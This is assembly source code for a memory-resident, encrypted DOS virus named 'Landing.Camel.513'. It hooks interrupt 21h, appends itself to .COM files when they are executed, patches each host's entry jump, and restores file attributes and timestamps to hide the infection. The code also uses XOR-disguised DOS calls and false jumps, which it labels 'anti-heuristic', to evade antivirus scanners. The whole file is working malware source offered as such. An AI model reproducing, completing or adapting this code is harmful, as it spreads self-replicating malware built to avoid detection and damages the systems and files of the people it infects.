;==================================================;| ; LANDING.CAMEL.4.513 ;| ;==================================================;| ; TSR..................... Yes ;| ; Encrypted............... Yes ;| ; Appending Virus......... Yes ;| ; COM infector............ Yes ;| ; Windows95 COM infector.. Yes ;| ; Reset Attributes........ Yes ;| ; Reset Time/Date......... Yes ;| ;==================================================;| ORG 0H ;|No worries about delta offset ;==================================================;| VIRUS_START: ;| ;==================================================;| CALL FIND_OFFSET ;|Calculate the delta offset ;==================================================;| FIND_OFFSET: ;| ;==================================================;| POP BP ;| SUB BP,OFFSET FIND_OFFSET ;|BP now contains the delta offset LEA AX,[ENCRYPT_DECRYPT+BP] ;|Load AX with offset CALL AX ;|Decrypt the virus code ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ENCRYPT_START: ;|Start encrypted region ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ;==================================================;| INSTALL_CHECK: ;| ;==================================================;| MOV AH,2CH ;|DOS Function-Get system time INT 21H ;|Call interrupt MOV BL,DL ;|BL=a number from 0-100 MOV AH,0BH ;|DOS Function INT 21H ;|Call interrupt CMP AH,00H ;|AH=0? JNE INSTALL_START ;|No! Install the virus ADD BX,BP ;|Account for the offset CMP AL,CS:[BX] ;|Do the bytes match? JE INSTALL_FINISH ;|Already installed! ;==================================================;| INSTALL_START: ;| ;==================================================;| PUSH DS ;|Save original DS PUSH ES ;|Save original ES MOV AH,4AH XOR 66H ;|DOS Function-Allocate memory XOR AH,66H ;|Anti-heuristic MOV BX,0FFFFH ;|A Really big number INT 21H ;|Call interrupt SUB BX,(VIRUS_LENGTH+15)/16+1 ;|Subtract from the total MOV AX,4A00H XOR 6600H ;|Shrink the block XOR AX,6600H ;|Anti-heuristic INT 21H ;|Call interrupt MOV AX,4800H XOR 6400H ;|Allocate the memory XOR AX,6400H ;|Anti-heuristic MOV BX,(VIRUS_LENGTH+15)/16 ;|Amount to allocate INT 21H ;|Call interrupt MOV ES,AX ;|Point ES to the new MCB DEC AX ;|AX=MCB MOV DS,AX ;|DS=AX=MCB MOV BYTE PTR DS:[0],'Z' ;|Mark the end of the block MOV WORD PTR DS:[1],8 ;|Identify as a DOS program PUSH CS ;|Change to the old segment POP DS ;|DS=CS XOR DI,DI ;|Copy virus to memory MOV CX,(VIRUS_LENGTH+1)/2 ;|Number of bytes to copy LEA SI,BP ;|Start at the beginning REP MOVSW ;|Move DS:[SI] to ES:[DI] ;==================================================;| INSTALL_NEW_INT21H: ;| ;==================================================;| MOV DS,CX ;|Change to the Interrupt Table MOV AX,WORD PTR DS:[21H*4] ;|Load the offset of int 21h into AX MOV WORD PTR ES:OLD_INT21H,AX ;|Save the offset of int 21h MOV AX,WORD PTR DS:[21H*4+2] ;|Load the segment of int 21h into AX MOV WORD PTR ES:OLD_INT21H+2,AX ;|Save the segment of int 21h PUSH ES ;|Save ES POP DS ;|Change segment to virus in memory MOV AX,2125H XOR 0D25H ;|DOS Function-Set Interrupt Vector XOR AX,0D25H ;|Anti-heuristic XCHG AH,AL ;|Anti-heuristic LEA DX,NEW_INT21H ;|Point to our procedure INT 21H ;|Call interrupt POP ES ;|Restore original ES POP DS ;|Restore original DS ;==================================================;| INSTALL_FINISH: ;| ;==================================================;| LEA DI,[BP+OLD_BYTES] ;|Restore 3 bytes into memory MOV SI,100H ;|Anti-heuristic XCHG SI,DI ;|Anti-heuristic PUSH DI ;|Save 100H for the return MOVSW ;|Move word into memory MOVSB ;|Move byte into memory XOR AX,AX ;|Clear register XOR BX,BX ;|Clear register XOR CX,CX ;|Clear register XOR DX,DX ;|Clear register XOR BP,BP ;|Clear register XOR SI,SI ;|Clear register XOR DI,DI ;|Clear register RET ;|Pass control to the host file MSG DB 'Landing.Camel.513',0 ;|Virus name and author ;==================================================;| NEW_INT21H: ;| ;==================================================;| CMP AH,0BH ;|Installation check? JE INSTALLATION_CHECK ;|Yes! Lets go do it PUSHF ;|Save flags PUSH AX ;|Save registers PUSH BX ;|Save registers PUSH CX ;|Save registers PUSH DX ;|Save registers PUSH DI ;|Save registers PUSH DS ;|Save registers PUSH ES ;|Save registers XCHG AH,AL ;|Anti-heuristic CMP AX,004BH ;|DOS Function-Execute file? XCHG AH,AL ;|Anti-heuristic JE INFECT_FILE ;|Yes! Lets go do it ;==================================================;| QUIT: ;| ;==================================================;| POP ES ;| POP DS ;| POP DI ;| POP DX ;| POP CX ;| POP BX ;| POP AX ;| POPF ;| DB 0EAH ;|Jump far instruction OLD_INT21H DD ? ;|Original Int 21h address ;==================================================;| INSTALLATION_CHECK: ;| ;==================================================;| XOR AH,AH ;|Clear AH MOV AL,CS:[BX] ;|Move random byte into AL IRET ;| ;==================================================;| INT21H: ;| ;==================================================;| PUSHF ;|Save Flags CALL DWORD PTR CS:[OLD_INT21H] ;|Call Interrupt 21h RET ;|Return ;==================================================;| INFECT_FILE: ;| ;==================================================;| MOV SI,DX ;|Load filename from DS:[DX] into DS:[SI] ;==================================================;| CHECK_EXTENSION: ;|Loop to test extension ;==================================================;| LODSB ;|Load a byte into AL from DS:[SI] OR AL,AL ;|Are we at the eof? JE QUIT ;|Yes! No extension! CMP AL,"." ;|Is it a point? JNE CHECK_EXTENSION ;|No! Test the next letter LODSW ;|Load a word into AX from DS:[SI] CMP AX,"OC" ;|Are the first two letters OC? JNE QUIT ;|No! Quit LODSB ;|Load a byte into AL from DS:[SI] CMP AL,"M" ;|Is the last letter M? JNE QUIT ;|No! Quit MOV CX,4300H ;|DOS function=Get File Attribute XOR AX,AX ;|Anti-heuristic XCHG AX,CX ;|Anti-heuristic CALL INT21H ;|Call original interrupt PUSH CX ;|Save file attribute MOV CX,4301H ;|DOS function=Set File Attribute PUSH CX ;|Save attributes XOR AX,AX ;|CX=0 so file attribute is normal file XCHG AX,CX ;|Anti-heuristic CALL INT21H ;|Call original interrupt MOV AX,3D02H ;|DOS function=Open a File (Read and Write) CALL INT21H ;|DX holds the name of the file JC RESTORE_ATTRIBUTES ;|Error opening file! XCHG BX,AX ;|Exchange handle MOV AX,5700H ;|DOS function=Get File Time/Date CALL INT21H ;|Call original interrupt PUSH CX ;|Save Time PUSH DX ;|Save Date PUSH CS ;|Change the segment to ours POP DS ;|rather than the infectee PUSH CS ;|Change the segment to ours POP ES ;|rather than the infectee MOV AH,3FH ;|DOS function=Read from File LEA DX,OLD_BYTES ;|Save the original bytes MOV CX,3 ;|Read the original bytes CALL INT21H ;|Call original interrupt CMP BYTE PTR OLD_BYTES,'Z' ;|Is the first byte a Z? JZ CLOSE_FILE ;|Yes! File is really a .EXE CMP BYTE PTR OLD_BYTES,'M' ;|Is the first byte a M? JZ CLOSE_FILE ;|File is really a .EXE MOV AX,4202H ;|DOS function=Set File Pointer MOV DX,-7 ;|Seek to EOF - 7 MOV CX,-1 ;|Go backwards CALL INT21H ;|Call original interrupt MOV AH,3FH ;|DOS Function-Read from file LEA DX,EOF_BUF ;|Save the bytes here MOV CX,7 ;|Read in 7 bytes CALL INT21H ;|Call original interrupt ADD WORD PTR [EOF_BUF+5],VIRUS_LENGTH ;|Add virus length to EOF MOV AX,4202H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to end of file (EOF) CWD ;|Same as XOR DX,DX CALL INT21H ;|Call original interrupt MOV CX,WORD PTR [OLD_BYTES+1] ;|CX=Offset of jump ADD CX,VIRUS_LENGTH+3 ;|Add the virus length CMP CX,AX ;|Compare the 2 values JE CLOSE_FILE ;|File already infected! CMP AX,64511 ;|File less than 64511? JNA WRITE_VIRUS ;|File isn't too large ;==================================================;| CLOSE_FILE: ;| ;==================================================;| MOV AH,3EH ;|Close file function CALL INT21H ;|Call original interrupt MOV AX,5700H ;|DOS function=Get File Time/Date POP CX ;|CX=original time value POP DX ;|DX=original date value ADD AX,1 ;|DOS function=Set File Time/Date CALL INT21H ;|Call original interrupt ;==================================================;| RESTORE_ATTRIBUTES: ;| ;==================================================;| POP AX ;|Restore attribute POP CX ;|Restore attribute CALL INT21H ;|Call original interrupt JMP QUIT ;|Leave it all behind ;==================================================;| WRITE_VIRUS: ;| ;==================================================;| MOV BYTE PTR NEW_BYTES,0E9H ;|JMP code SUB AX,3 ;|AX=Filesize-3 (size of JMP) MOV WORD PTR [NEW_BYTES+1],AX ;|Offset of JMP MOV AH,2CH ;|DOS Function-Get System Time CALL INT21H ;|Call original interrupt XCHG CH,CL ;|Switch hours with minutes ADD DX,CX ;|Add minutes to seconds ... XOR DX,WORD PTR ENCRYPT_KEY ;|XOR with previous key MOV WORD PTR ES:ENCRYPT_KEY,DX ;|Save the new key XOR DI,DI ;|Start at beginning of the block XOR SI,SI ;|Start at beginning of the block MOV AX,08D00H ;|Choose a temporary segment MOV ES,AX ;|Now point to it MOV CX,(VIRUS_LENGTH+1)/2 ;|Number of words to copy REP MOVSW ;|Copy the code PUSH ES ;|Change the working segment to POP DS ;|the freshly copied part XOR BP,BP ;|Alter the delta offset LEA AX,ENCRYPT_DECRYPT ;|Load AX with offset CALL AX ;|Encrypt the virus code LEA DX,VIRUS_START ;|Start copying from beginning MOV AX,VIRUS_LENGTH ;|Amount to copy MOV CX,4000H ;|DOS Function-Write to file XCHG AX,CX ;|Anti-heuristic CALL INT21H ;|Call original interrupt PUSH CS ;|Change the segment POP DS ;|to the original file MOV AX,4200H ;|DOS function=Set File Pointer XOR CX,CX ;|Go to beginning of file (BOF) CWD ;|Same as XOR DX,DX CALL INT21H ;|Call original interrupt MOV AX,03H ;|DOS function=Write to File MOV CX,4000H ;|Write 3 bytes to beginning of file LEA DX,NEW_BYTES ;|From NEW_BYTES XCHG AX,CX ;|Anti-heuristic CALL INT21H ;|Call original interrupt JMP CLOSE_FILE ;|All finished lets go ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ENCRYPT_END: ;|End encrypted region ;++++++++++++++++++++++++++++++++++++++++++++++++++;| ;==================================================;| ENCRYPT_DECRYPT: ;| ;==================================================;| LEA SI,[BP+ENCRYPT_START] ;|Start from the beginning MOV DI,SI ;|Start from the beginning MOV CX,(ENCRYPT_LENGTH+1)/2 ;|How much to encrypt ;==================================================;| XOR_LOOP: ;| ;==================================================;| LODSW ;|Load word from SI into AX and INC SI JNC FALSE_JMP1 ;|Anti-heuristic ;==================================================;| FALSE_JMP2: ;| ;==================================================;| STOSW ;|Load word from AX into DI and INC DI LOOP XOR_LOOP ;|Loop until finished RET ;| ;==================================================;| FALSE_JMP1: ;| ;==================================================;| DB 35H ;|This means XOR AX,WORD VALUE ENCRYPT_KEY DW 0000 ;|Random encryption key JNC FALSE_JMP2 ;|Anti-heuristic ;==================================================;| VIRUS_DATA: ;| ;==================================================;| OLD_BYTES DB 0CDH,20H,0 ;|Original bytes from file NEW_BYTES DB 3 DUP (?) ;|New bytes to be written EOF_BUF DB 7 DUP (?) ;|Buffer for Win95 infections ;==================================================;| VIRUS_END: ;| ;==================================================;| ENCRYPT_LENGTH EQU OFFSET ENCRYPT_END - OFFSET ENCRYPT_START VIRUS_LENGTH EQU OFFSET VIRUS_END - OFFSET VIRUS_START END VIRUS_START